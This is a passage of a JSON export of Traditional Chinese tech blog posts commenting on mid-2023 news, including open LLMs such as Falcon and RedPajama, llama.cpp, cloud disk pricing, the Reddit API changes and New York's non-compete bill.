上有人已經跑起來了，而且是透過 InstructGPT 調教過的版本：「<a href=\"https://news.ycombinator.com/item?id=36145185\">Falcon 40B LLM (which beats Llama) now Apache 2.0 (twitter.com/thom_wolf)</a>」，據說 4-bit quantized 版本可以在 40GB 的 <a href=\"https://en.wikipedia.org/wiki/Ampere_(microarchitecture)\">A100</a> 或是兩張 24GB 的 <a href=\"https://en.wikipedia.org/wiki/GeForce_30_series\">3090</a>/<a href=\"https://en.wikipedia.org/wiki/GeForce_40_series\">4090</a> 跑起來。\r\n\r\n另外 <a href=\"https://github.com/ggerganov/ggml\">ggml</a> 的人應該這幾天就會動起來了，可以讓子彈再放著飛一下...",
    "title": "Falcon 40B 超越 LLaMA 65B 成為目前 Open LLM 的領頭"
  },
  {
    "id": "11209",
    "body": "收到 <a href=\"https://kagi.com/\">Kagi</a> 的信，因為我是 unlimited searches 年繳用戶：\r\n\r\n<blockquote>You are receiving this email because you have a Kagi legacy annual subscription with unlimited searches.</blockquote>\r\n\r\n聽起來是這個方案會持續讓我們用舊價錢 renew？\r\n\r\n<blockquote>This is to inform you that you will be able to keep this plan upon renewal. There is no action needed on your end, and your subscription will automatically renew as normal.</blockquote>\r\n\r\n不過就他列出來的理由來說有點怪就是了，想要看看 unlimited search 在財務上是否可行？但成本不是算一算就知道了嗎...\r\n\r\n<blockquote>We have recently changed the pricing plans [1], adding more searches to our plans. Ultimately in the future, we want to go be able to offer unlimited searches on our Professional plan to the broader public again, when economics allow. \r\n\r\nPreviously your subscription was set to renew into Early-adopter Professional plan [2]. By allowing a subset of our users (like you) to keep unlimited searches, we can get insights if this will be indeed economically viable. So we have decided to prolong the renewal of the unlimited annual legacy plan for customers who already have them.\r\n\r\n[1] https://blog.kagi.com/plan-changes\r\n[2] https://blog.kagi.com/update-kagi-search-pricing#existing</blockquote>\r\n\r\n現在的 unlimited search plan 是 US$25/mo，年繳是 85 折，換算是 US$21.25/mo。\r\n\r\n然後看了一下用量，最近幾個月用的量愈用愈多啊：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1685616994-146d8dcc.webp\" /><img src=\"https://i.gslin.com/s/1685616994-146d8dcc.png\" alt=\"\" /></picture>\r\n\r\n既然是 <a href=\"https://dictionary.cambridge.org/dictionary/english-chinese-traditional/prolong\">prolong</a>，聽起來隨時有機會收回去？",
    "title": "Kagi 繼續提供老用戶 $120/y 的方案？"
  },
  {
    "id": "11210",
    "body": "下午在升級 <a href=\"https://cloud.google.com/\">GCP</a> 上面的跳板機的時候，發現機器用的是 Standard Persistent Disk (Standard PD)，這是個 HDD 架構，跑起來超慢，研究了一下發現 <a href=\"https://aws.amazon.com/\">AWS</a> 與 GCP 兩邊的差異其實有點大，整理一下...\r\n\r\n價錢的部分，AWS 的部分拿東京區 (<code>ap-northeast-1</code>) 的價錢來看，GCP 則是拿台灣區 (<code>asia-east1</code>) 來看。\r\n\r\n先看 SSD 的部分：\r\n\r\nAWS 最常用的 <code>gp3</code> 是 $0.096/GB，無論空間大小，效能上都提供 3000 IOPS 與 125MB/sec throughput，另外可以加價購買 IOPS 與 throughput。不過也因為這個性質，拿來當開機碟很好用。\r\n\r\n早期的 <code>gp2</code> 則是 $0.12/GB，效能上提供 3 IOPS/GB，但最低會給 100 IOPS，所以當開機碟也還可以，不會到太慢。\r\n\r\nGCP 如果是 Balanced Persistent Disk (Balanced PD) 是 $0.1/GB，效能上會提供 6 Read IOPS/GB + 6 Write IOPS/GB + 0.28MB/sec/GB throughput；以 10GB 的 disk 來說會是 60 Read IOPS + 60 Write IOPS + 2.8MB/sec throughput。\r\n\r\n如果是 SSD Persistent Disk (SSD PD) 是 $0.17/GB，效能上是 30 Read IOPS/GB + 30 Write IOPS/GB + 0.48MB/sec/GB throughput；以 10GB 的 disk 來說會是 300 Read IOPS + 300 Write IOPS + 28MB/sec throughput。\r\n\r\n再來是 HDD 的部分：\r\n\r\nAWS 這邊代號是 <code>standard</code>，價錢是 $0.08/GB，另外 IOPS 每 1M 個 IOPS 也要收 $0.08，如果是拿來開機的話還好，但如果是有應用在上面操 IOPS 的話就不太便宜了。\r\n\r\nGCP 這邊是 Standard Persistent Disk (Standard PD)，價錢是 $0.04/GB，效能上提供 0.75/GB Read IOPS + 1.5/GB Write IOPS + 0.12MB/sec/GB throughput；以 10GB 的 disk 來說會是 7.5 Read IOPS + 15 Write IOPS + 1.2MB/sec throughput。\r\n\r\n所以如果是不太在意效能的情況下要找 C/P 值 (但也不到完全不在意？)，在 AWS 上用 <code>standard</code> 就不太划算，畢竟多一些些費用就可以用 <code>gp3</code>，對效能提升巨大；但在 GCP 上就會想用 Standard PD，從單價可以看到差了蠻多...",
    "title": "GCP 的 Disks 與 AWS 的 EBS 的比較..."
  },
  {
    "id": "11211",
    "body": "前幾天的 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=36175000\">Fq: Jq for Binary Formats (github.com/wader)</a>」這個工具 <a href=\"https://github.com/wader/fq\">fq</a>，可以對二進位檔案操作：\r\n\r\n<blockquote>Tool, language and decoders for working with binary data.</blockquote>\r\n\r\n<a href=\"https://www.ubuntu.com/\">Ubuntu</a> 22.04 以後的版本有套件可以直接裝 (就 <code>apt install fq</code>)，不過 22.04 內的版本比較舊，可以考慮抓 binary 下來丟到 <code>~/bin</code> 之類的地方用，不過目前應該是先丟著，等明年 24.04 的時候就會自己換新了？\r\n\r\n官方範例的 <code>fq . file</code> 可以看 metadata，這樣還算是好用，不用自己 hexdump 對半天；另外「<a href=\"https://github.com/wader/fq/blob/master/doc/formats.md\">Supported formats</a>」這邊有每種格式對應的 column name 可以讓你操作，參考 <code>fq --help</code> 的說明就可以拉一些欄位出來用...",
    "title": "拿 fq 看一些二進位檔案的 metadata"
  },
  {
    "id": "11212",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到 <a href=\"https://twitter.com/ggerganov\">Georgi Gerganov</a> 成立公司的計畫：「<a href=\"https://news.ycombinator.com/item?id=36215651\">GGML – AI at the Edge (ggml.ai)</a>」，官網在「<a href=\"https://ggml.ai/\">GGML - AI at the edge</a>」。\r\n\r\n如同 Georgi Gerganov 提到的，<a href=\"https://github.com/ggerganov/llama.cpp\">llama.cpp</a> 這些專案本來是他的 side project，結果意外的紅起來：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">I&#39;ve started a company: <a href=\"https://t.co/jFknDoasSy\">https://t.co/jFknDoasSy</a><br><br>From a fun side project just a few months ago, ggml has now become a useful library and framework for machine learning with a great open-source community</p>&mdash; Georgi Gerganov (@ggerganov) <a href=\"https://twitter.com/ggerganov/status/1666120568993730561?ref_src=twsrc%5Etfw\">June 6, 2023</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n另外他提到了 <a href=\"https://en.wikipedia.org/wiki/Nat_Friedman\">Nat Friedman</a> 與 <a href=\"https://en.wikipedia.org/wiki/Daniel_Gross_(software_entrepreneur)\">Daniel Gross</a> 也幫了一把：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">I&#39;m incredibly grateful to <a href=\"https://twitter.com/natfriedman?ref_src=twsrc%5Etfw\">@natfriedman</a> and <a href=\"https://twitter.com/danielgross?ref_src=twsrc%5Etfw\">@danielgross</a> for the support &amp; funding and also for helping me get inspired even more in this project<br><br>There is still a long way ahead with many ideas to try and cool things to do. Hope you will join and help us create something useful!</p>&mdash; Georgi Gerganov (@ggerganov) <a href=\"https://twitter.com/ggerganov/status/1666120573074767872?ref_src=twsrc%5Etfw\">June 6, 2023</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n在官網則是有提到是 pre-seed funding：\r\n\r\n<blockquote>ggml.ai is a company founded by Georgi Gerganov to support the development of ggml. Nat Friedman and Daniel Gross provided the pre-seed funding.</blockquote>\r\n\r\n現在回頭來看，當初 llama.cpp 會紅起來主要是因為 CPU 可以跑 <a href=\"https://en.wikipedia.org/wiki/LLaMA\">LLaMA</a> 7B，而且用 CPU 跑起來其實也不算慢。\r\n\r\n後來吸引了很多人一起幫忙，於是有了不少 optimization (像是「<a href=\"https://blog.gslin.org/archives/2023/04/01/11123/llama-cpp-%E7%9A%84%E8%BC%89%E5%85%A5%E9%80%9F%E5%BA%A6%E5%8A%A0%E9%80%9F/\">llama.cpp 的載入速度加速</a>」這邊用 <a href=\"https://en.wikipedia.org/wiki/Mmap\">mmap</a> 減少需要載入的時間，並且讓多個 process 之間可以重複使用 cache)，接下來又有 GPU 的支援...\r\n\r\n但不確定他開公司後，長遠的計畫是什麼...？",
    "title": "Georgi Gerganov 成立公司 GGML"
  },
  {
    "id": "11213",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到 <a href=\"https://en.wikipedia.org/wiki/MacOS\">macOS</a> 要提供 <a href=\"https://en.wikipedia.org/wiki/DirectX\">DirectX</a> 介面了：「<a href=\"https://news.ycombinator.com/item?id=36222266\">DirectX 12 Support on macOS (twitter.com/andytizer)</a>」，原推是：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">Mac gamers have been dreaming about DirectX 12 support on macOS for years, and the open source community toils tirelessly making baby steps. Then Apple just drops a fully complete DX12 translation layer and doesn&#39;t even tell us! <a href=\"https://t.co/cs8OxFJ64s\">pic.twitter.com/cs8OxFJ64s</a></p>&mdash; Andrew Tsai (@Andytizer) <a href=\"https://twitter.com/Andytizer/status/1666131239575728130?ref_src=twsrc%5Etfw\">June 6, 2023</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n算是降低遊戲引擎維護的成本？讓開發商更有意願實作？不確定會有什麼效果...",
    "title": "macOS 要提供 DirectX 介面了"
  },
  {
    "id": "11214",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 利用自家平台分析過去一年 <a href=\"https://en.wikipedia.org/wiki/HTTP/3\">HTTP/3</a> 的使用率：「<a href=\"https://blog.cloudflare.com/http3-usage-one-year-on/\">Examining HTTP/3 usage one year on</a>」。\r\n\r\n首先是整體的使用率，看起來反而沒有什麼太大的變化？一上線就已經是巔峰的感覺？\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1686173469-cbf9803e.webp\" /><img src=\"https://i.gslin.com/s/1686173469-cbf9803e.png\" alt=\"\" /></picture>\r\n\r\n然後各種 bot (像是搜尋引擎的 bot 或是 social media 的 bot) 看起來幾乎都沒有用 HTTP/3，少數的量應該都是實驗性質居多，唯一的例外是 <a href=\"https://www.linkedin.com/\">LinkedIn</a> 有試著在導入，可以看到慢慢的爬升：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1686173707-ca415b73.webp\" /><img src=\"https://i.gslin.com/s/1686173707-ca415b73.png\" alt=\"\" /></picture>\r\n\r\n看起來不算太順？",
    "title": "Cloudflare 看 HTTP/3 的使用率"
  },
  {
    "id": "11216",
    "body": "<a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://arstechnica.com/information-technology/2023/06/redditor-creates-working-anime-qr-codes-using-stable-diffusion/\">Redditor creates working anime QR codes using Stable Diffusion</a>」這個，<a href=\"https://old.reddit.com/\">Reddit</a> 的原討論串在「<a href=\"https://old.reddit.com/r/StableDiffusion/comments/141hg9x/controlnet_for_qr_code/\">ControlNet for QR Code</a>」這邊。\r\n\r\n透過 <a href=\"https://en.wikipedia.org/wiki/Stable_Diffusion#ControlNet\">ControlNet</a> 產生出來的 <a href=\"https://en.wikipedia.org/wiki/QR_code\">QR code</a> 超出一般對客製化 QR code 的想像... 這邊就不解釋直接上圖了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1686213886-aeae85e3.webp\" /><img src=\"https://i.gslin.com/s/1686213886-aeae85e3.png\" alt=\"\" /></picture>\r\n\r\n<hr/>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1686214094-a9d9d14a.webp\" /><img src=\"https://i.gslin.com/s/1686214094-a9d9d14a.png\" alt=\"\" /></picture>\r\n\r\n<hr/>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1686214130-70003ab4.webp\" /><img src=\"https://i.gslin.com/s/1686214130-70003ab4.png\" alt=\"\" /></picture>\r\n\r\n<hr/>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1686214165-7a16b267.webp\" /><img src=\"https://i.gslin.com/s/1686214165-7a16b267.png\" alt=\"\" /></picture>\r\n\r\n<hr/>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1686214186-97cf9bb4.webp\" /><img src=\"https://i.gslin.com/s/1686214186-97cf9bb4.png\" alt=\"\" /></picture>",
    "title": "透過 ControlNet 產生出來的 QR code"
  },
  {
    "id": "11217",
    "body": "在 <a href=\"https://en.wikipedia.org/wiki/LLaMA\">LLaMA</a> 出來以後，打造 open source license 的 <a href=\"https://en.wikipedia.org/wiki/Large_language_model\">LLM</a> 變成大家期待的事情，而 <a href=\"https://www.together.xyz/blog/redpajama\">RedPajama</a> 算是蠻多人看好的項目。\r\n\r\n結果還在算的過程中間，路上殺出來 <a href=\"https://falconllm.tii.ae/\">Falcon LLM</a>，在釋出當下以一個比較寬鬆的 license (但還不是 open source license)，到了六月初直接宣布改用 <a href=\"https://en.wikipedia.org/wiki/Apache_License\">Apache License, Version 2.0</a>，而且同時放出 7B 與 40B 兩個 model，讓 RedPajama 的消息瞬間被壓下去...\r\n\r\n現在 RedPajama 放出 7B 了，而且也宣稱在 <a href=\"https://crfm.stanford.edu/helm/latest/\">HELM</a> 上比 Falcon 7B 好：「<a href=\"https://www.together.xyz/blog/redpajama-7b\">RedPajama 7B now available, instruct model outperforms all open 7B models on HELM benchmarks</a>」，在 Hacker News 上對應的討論串在「<a href=\"https://news.ycombinator.com/item?id=36216056\">RedPajama 7B (an Apache 2.0-licensed LLaMa) is now available (together.xyz)</a>」這邊。\r\n\r\n不過從這幾個月社群討論的感覺，可以看到大家都覺得 7B 太小了，目前大家都希望是 3090/4090 等級可以跑的顯示卡在當標準，差不多會是 LLaMA 13B 或是 30B (4-bit) 的 model。\r\n\r\n這幾個月的競爭太激烈，放話完還沒 release 就被幹掉...",
    "title": "Apache License 2.0 的 RedPajama 7B 釋出"
  },
  {
    "id": "11219",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 宣布在 <a href=\"https://docs.aws.amazon.com/sagemaker/latest/dg/studio-jumpstart.html\">SageMaker JumpStart</a> 裡面可以用 <a href=\"https://huggingface.co/tiiuae/falcon-40b\">Falcon 40B</a> 了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2023/06/falcon-40b-foundation-model-tii-sagemaker-jumpstart/\">Falcon 40B foundation model from TII available on SageMaker JumpStart</a>」，不愧是 AWS...\r\n\r\n話說 <a href=\"https://github.com/ggerganov/llama.cpp\">llama.cpp</a> 對 Falcon 的支援好像有點卡關的感覺，大概還要再折騰一陣子吧，雖然有些人已經能跑 7B 了，但大家還是想跑 40B 看看...：「<a href=\"https://github.com/ggerganov/llama.cpp/issues/1602\">Falcon LLM Support #1602</a>」。",
    "title": "AWS 把 Falcon 40B 丟進 SageMaker 服務了"
  },
  {
    "id": "11220",
    "body": "台灣用 <a href=\"https://old.reddit.com/\">Reddit</a> 用的比較少，但在歐美算是超級大站。雖然是 2005 年成立的，但主要是在 2010 年的 <a href=\"https://en.wikipedia.org/wiki/Digg\">Digg</a> 災難後興起。\r\n\r\n大幅調漲 API 費用使得目前的 3rd-party client 都無法負擔，像是 <a href=\"https://en.wikipedia.org/wiki/Apollo_(app)\">Apollo</a> 就需要付 $20M/y 的費用：「<a href=\"https://www.macrumors.com/2023/05/31/reddit-api-changes-pricing-apollo/\">Popular Reddit App Apollo Would Need to Pay $20 Million Per Year Under New API Pricing</a>」。\r\n\r\n最近的這包事件還在進行，在「<a href=\"https://en.wikipedia.org/wiki/Reddit#2023_API_changes\">Reddit#2023 API changes</a>」這邊有些整理，目前看起來 CEO 是鐵了心要收這筆費用，看起來管理階層覺得不像 2010 年的時候，這次 user 沒有其他地方可以跑？\r\n\r\n目前在「<a href=\"https://old.reddit.com/r/RedditAlternatives/comments/yttdlc/list_of_active_reddit_alternatives_v8/\">List of Active Reddit Alternatives v8</a>」這邊有看到有人整理出來，但不確定這些站能不能撐住這波的流量...\r\n\r\n另外補上最近 Reddit 的裁員消息可以交叉看：「<a href=\"https://www.reuters.com/technology/reddit-lay-off-about-5-workforce-wsj-2023-06-06/\">Reddit to lay off about 5% of its workforce</a>」。",
    "title": "最近 Reddit 打算大幅調漲 API 費用而進行中的故事"
  },
  {
    "id": "11221",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到「<a href=\"https://news.ycombinator.com/item?id=36304143\">Llama.cpp: Full CUDA GPU Acceleration (github.com/ggerganov)</a>」，對應得原頁面在「<a href=\"https://github.com/ggerganov/llama.cpp/pull/1827\">CUDA full GPU acceleration, KV cache in VRAM #1827</a>」這邊。\r\n\r\n裡面是在講 <a href=\"https://github.com/ggerganov/llama.cpp\">llama.cpp</a> 之前的 <a href=\"https://en.wikipedia.org/wiki/Graphics_processing_unit\">GPU</a> 加速還是有不少事情是在 CPU 上面做，這次是把目前 <a href=\"https://ggml.ai/\">ggml</a> 支援的操作都實作 GPU 版本了：\r\n\r\n<blockquote>This PR adds GPU acceleration for all remaining ggml tensors that didn't yet have it. Especially for long generations this makes a large difference because the KV cache is still CPU only on master and gets larger as the context fills up.</blockquote>\r\n\r\n蠻多人有不同測試的結果，要注意這次不是把 CPU 搬到 GPU 上面做，而是把本來因為比較 light 而還沒搬上 GPU 的部分搬上去，所以不會是數量級的加速，但看起來改善也已經很不賴了：\r\n\r\n<blockquote>Early attempt this morning we're getting ~2.5-2.8x perf increase on 4090s and about 1.8-2x on 3090Ti.</blockquote>\r\n\r\n然後 Falcon... 目前看起來還沒有必較好的進展 XD",
    "title": "llama.cpp 有全 GPU 版本了"
  },
  {
    "id": "11222",
    "body": "在「<a href=\"https://news.ycombinator.com/item?id=36328148\">Why PostgreSQL High Availability Matters and How to Achieve It (yugabyte.com)</a>」裡面看到 AWS 也在研發類似 <a href=\"https://cloud.google.com/\">GCP</a> 提供的 <a href=\"https://cloud.google.com/spanner\">Spanner</a> 的服務，計畫名稱叫做 Aurora Xanadu：「<a href=\"https://news.ycombinator.com/item?id=36328981\">36328981</a>」。\r\n\r\n<blockquote>franckpachot\r\n\r\nGoogle has Spanner. AWS is working on something similar (project Aurora Xanadu). And both have YugabyteDB in their marketplace. Those are Distributed SQL (Global ACID), not Citus. For DataWarehouse which doesn't need ACID, there are other services.</blockquote>\r\n\r\n也先把這個連結備份起來，看看後面是不是直接拿這個名字來用？",
    "title": "AWS Aurora Xanadu？"
  },
  {
    "id": "11224",
    "body": "剛剛在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上翻到的：「<a href=\"https://news.ycombinator.com/item?id=36326956\">33-46% of workers on MTurk used LLMs in a text production task (arxiv.org)</a>」，論文在「<a href=\"https://arxiv.org/abs/2306.07899\">Artificial Artificial Artificial Intelligence: Crowd Workers Widely Use Large Language Models for Text Production Tasks</a>」這邊，這個標題取的很故意... XD\r\n\r\nHacker News 上的標題主要是出自論文 abstract 的這段：\r\n\r\n<blockquote>We reran an abstract summarization task from the literature on Amazon Mechanical Turk and, through a combination of keystroke detection and synthetic text classification, estimate that 33-46% of crowd workers used LLMs when completing the task.</blockquote>\r\n\r\n想想還蠻正常的？能輕鬆賺當然就輕鬆賺... 但這也代表開發者可以思考 offload 給 LLM 的品質，以及如果需要外部的工人智慧，是不是可以搭配 LLM 再 offload 一些簡單的處理給人類就好？\r\n\r\n話說好久沒聽到 <a href=\"https://www.mturk.com/\">MTurk</a> 這個服務了，翻了 wiki 看起來是 2005 年就有的服務。",
    "title": "很多 MTurk 的接案者都用 LLM 在解決文字類的問題"
  },
  {
    "id": "11225",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=36329483\">New York State Senate passes prohibitions on non-competes (ogletree.com)</a>」這篇，原報導在「<a href=\"https://ogletree.com/insights/new-york-state-senate-passes-prohibitions-on-non-competes/\">New York State Senate Passes Prohibitions on Non-Competes</a>」這。\r\n\r\n在原報導裡面給的連結就是紐約州的官方連結，提到了兩個法案：\r\n\r\n<ul>\r\n\t<li><a href=\"https://www.nysenate.gov/legislation/bills/2023/s3100\">Senate Bill S3100A</a>: Prohibits non-compete agreements and certain restrictive covenants</li>\r\n\t<li><a href=\"https://www.nysenate.gov/legislation/bills/2023/S6748\">Senate Bill S6748</a>: Relates to actions or practices that establish or maintain a monopoly, monopsony or restraint of trade, and authorizes a class action lawsuit in the state anti-trust law</li>\r\n</ul>\r\n\r\n可以看到兩個都已經通過參議院了，下一步看起來就是送給州長了；其中 S3100A 就是這次提到的反「競業條款」法案，裡面最重要的內容也很簡單，就是直接禁止禁業條款：\r\n\r\n<blockquote>2. NO EMPLOYER OR ITS AGENT, OR THE OFFICER OR  AGENT  OF  ANY  CORPORATION,  PARTNERSHIP,  LIMITED LIABILITY COMPANY, OR OTHER ENTITY, SHALL SEEK, REQUIRE, DEMAND OR ACCEPT A NON-COMPETE AGREEMENT FROM ANY COVERED INDIVIDUAL.</blockquote>\r\n\r\n在這條前面有定義什麼是「人」與「NDA」，後面有救濟措施以及一些避免鑽法律漏洞的敘述。\r\n\r\n等正式通過後對整個美國的影響應該會不小？應該會有一陣子觀望，然後看結果後可能會有其他州也加入...",
    "title": "紐約州通過法案，禁止「競業條款」"
  },
  {
    "id": "11226",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到的有趣東西：「<a href=\"https://news.ycombinator.com/item?id=36341211\">Zluda: Run CUDA code on Intel GPUs, unmodified (github.com/vosen)</a>」，專案在「<a href=\"https://github.com/vosen/ZLUDA\">CUDA on Intel GPUs</a>」這邊，這是個最後更新在 2021 年的專案。\r\n\r\n這個專案的想法可以猜得出來，想要吃 <a href=\"https://en.wikipedia.org/wiki/CUDA\">CUDA</a> 的 ecosystem，把現有用 CUDA 的應用程式直接跑在 <a href=\"https://www.intel.com/\">Intel</a> 的 GPU 上面，這樣對於一些只有 CUDA 卻沒有 <a href=\"https://en.wikipedia.org/wiki/OpenCL\">OpenCL</a> 的實作就有機會拿來用。\r\n\r\n一開始本來以為是給 Intel 新的獨立顯卡 <a href=\"https://en.wikipedia.org/wiki/Intel_Arc\">Arc</a>，結果發現是 2021 年就停更的專案，是以內顯來測試的：\r\n\r\n<blockquote>ZLUDA performance has been measured with GeekBench 5.2.3 on Intel UHD 630.</blockquote>\r\n\r\n從 benchmark 的結果看起來，大多數的功能應該都有 porting 上去，所以至少測試是能跑的，而不是 crash：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1686854625-ccf58e49.webp\" /><img src=\"https://i.gslin.com/s/1686854625-ccf58e49.png\" alt=\"\" /></picture>\r\n\r\n不過 Hacker News 的討論上可以看到似乎還是有問題，而且大多數的 AI 應用還是會回頭支援 OpenCL，似乎沒有那麼好用...",
    "title": "在 Intel 內顯上面直接跑 CUDA 程式的 ZLUDA"
  },
  {
    "id": "11227",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 在「<a href=\"https://aws.amazon.com/about-aws/whats-new/2023/06/amazon-ec2-m7a-instances-preview/\">Introducing Amazon EC2 M7a instances (Preview)</a>」這邊看到 <code>m7a</code> 會比 <code>m6a</code> 快 50% 的宣稱：\r\n\r\n<blockquote>These instances deliver up to 50% greater performance on average compared to M6a instances.</blockquote>\r\n\r\n目前還是 preview 階段，需要申請才有機會用，所以還不知道他的真實性能是怎麼樣？另外一方面，價錢也還沒查到... 但如果價錢不要漲太多的話，算一下好像有可能跟上 <a href=\"https://www.arm.com/\">ARM</a> 的 <code>m7g</code> 了？\r\n\r\n另外這樣也就蠻值得期待會不會有 <code>t4a</code>？",
    "title": "AWS 新推出的 m7a 宣稱比 m6a 多 50% 效能？"
  },
  {
    "id": "11228",
    "body": "<a href=\"https://github.com/SerenityOS/ladybird\">Ladybird</a> 是一個從零寫起的瀏覽器，可以參考作者在「<a href=\"https://awesomekling.github.io/Ladybird-a-new-cross-platform-browser-project/\">Ladybird: A new cross-platform browser project</a>」這邊的介紹。\r\n\r\n在 <a href=\"https://github.com/\">GitHub</a> 上的頁面可以看到「This repository has been archived by the owner on Dec 25, 2022. It is now read-only.」，目前的專案是放在 <a href=\"https://github.com/SerenityOS/serenity\">SerenityOS</a> 裡面：「The Ladybird web browser has moved into the SerenityOS monorepo.」。\r\n\r\n結果作者提到收到了 US$100,000 的 sponsor，指名 Ladybird browser：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">I have received a $100,000 sponsorship specifically for Ladybird browser development! ???<br><br>More details to come..</p>&mdash; Andreas Kling (@awesomekling) <a href=\"https://twitter.com/awesomekling/status/1670298370550779905?ref_src=twsrc%5Etfw\">June 18, 2023</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n而他發出來不久以後，又有另外一筆捐款，也是 US$100,000 但是是透過虛擬貨幣，所以他要找會計師：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">In a surprising twist, I have just received a second $100,000 sponsorship for Ladybird development! ???<br><br>This one came in the form of an anonymous cryptocurrency donation, so now I need to talk to my tax accountant ASAP and figure out what to do.. ?</p>&mdash; Andreas Kling (@awesomekling) <a href=\"https://twitter.com/awesomekling/status/1670440822129532928?ref_src=twsrc%5Etfw\">June 18, 2023</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n是個強制加速開發的方式... 現在的瀏覽器幾乎就是 <a href=\"https://en.wikipedia.org/wiki/Blink_(browser_engine)\">Blink</a> + <a href=\"https://en.wikipedia.org/wiki/WebKit\">WebKit</a> 統一天下，用自家 <a href=\"https://en.wikipedia.org/wiki/Gecko_(software)\">Gecko</a> 的 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 整天在搞事，好像是有機會看到新的 engine 與瀏覽器挑戰了...",
    "title": "看起來 Ladybird 瀏覽器會被加速開發？"
  },
  {
    "id": "11229",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到的，只用一隻螺絲起子，就把 <a href=\"https://www.sennheiser-hearing.com/\">Sennheiser</a> HD 555 升級成 HD 595 的方法：「<a href=\"http://mikebeauchamp.com/misc/sennheiser-hd-555-to-hd-595-mod/\">sennheiser hd 555 to hd 595 mod</a>」。\r\n\r\n<blockquote>This page will show you how to turn a $199.95 (Canadian – Suggested Retail) pair of Sennheiser HD 555 headphones into a pair of Sennheiser HD 595‘s that cost $349.95. And all you need is a screwdriver.</blockquote>\r\n\r\n兩者的差異只在 HD 555 多了一片泡綿 (foam)，把他拆出來就好了：\r\n\r\n<blockquote>Aside from the aesthetic differences, the only physical difference was an additional piece of foam inside the cheaper HD555 headphones, blocking about 50% of the outside-facing vents. Since both the HD 555 and HD 595 are designed to be “open” headphones, reducing the vent with this foam would alter the frequency response slightly. So to save yourself $150, open your HD 555’s up and remove the foam. Done.</blockquote>\r\n\r\n作者說是注意的到的差別：\r\n\r\n<blockquote>Yes. The actual sound difference is very slight, but it is noticeable.</blockquote>\r\n\r\n在 Hacker News 上的討論「<a href=\"https://news.ycombinator.com/item?id=36377875\">Sennheiser HD 555 to HD 595 Mod (mikebeauchamp.com)</a>」裡面有在猜什麼原因，有可能是硬拉產品線，也有可能是將次級品改裝，但看起來兩個機體本身是相同的沒錯...\r\n\r\n不過這兩隻都是老機了，看起來現在沒有再繼續生產。",
    "title": "把 Sennheiser HD 555 升級成 HD 595 的故事"
  },
  {
    "id": "11230",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=36388219\">OpenLLM (github.com/bentoml)</a>」，是一個用 <a href=\"https://www.python.org/\">Python</a> 寫的軟體，把 open source LLM 包裝起來讓你用。\r\n\r\n先拿 <a href=\"https://www.apple.com/mac/\">Mac</a> 簡單測了一下，看起來包的不錯，可以用 HTTP API 來打。\r\n\r\n先用 <a href=\"https://pypi.org/project/pip/\">pip</a> 裝：\r\n\r\n<pre>pip install openllm</pre>\r\n\r\n然後就可以把 server 跑起來了，依照範例跑 <code>dolly-v2</code>，第一次跑會比較久，需要下載 model：\r\n\r\n<pre>openllm start dolly-v2</pre>\r\n\r\n接下來就可以直接開 <a href=\"http://127.0.0.1:3000/\">http://127.0.0.1:3000/</a> 來操作了，另外也可以用 command line 跑，像是依照官方的範例來跑：\r\n\r\n<pre>openllm query --endpoint http://127.0.0.1:3000 \"What is the meaning of life?\"</pre>\r\n\r\n目前測到比較明顯的問題是 CPU 模式下只有 single thread，所以雖然會動，但相當慢... 之後再來測試 GPU 的部分。",
    "title": "OpenLLM，用 Python 包裝 open source LLM 的套件"
  },
  {
    "id": "11231",
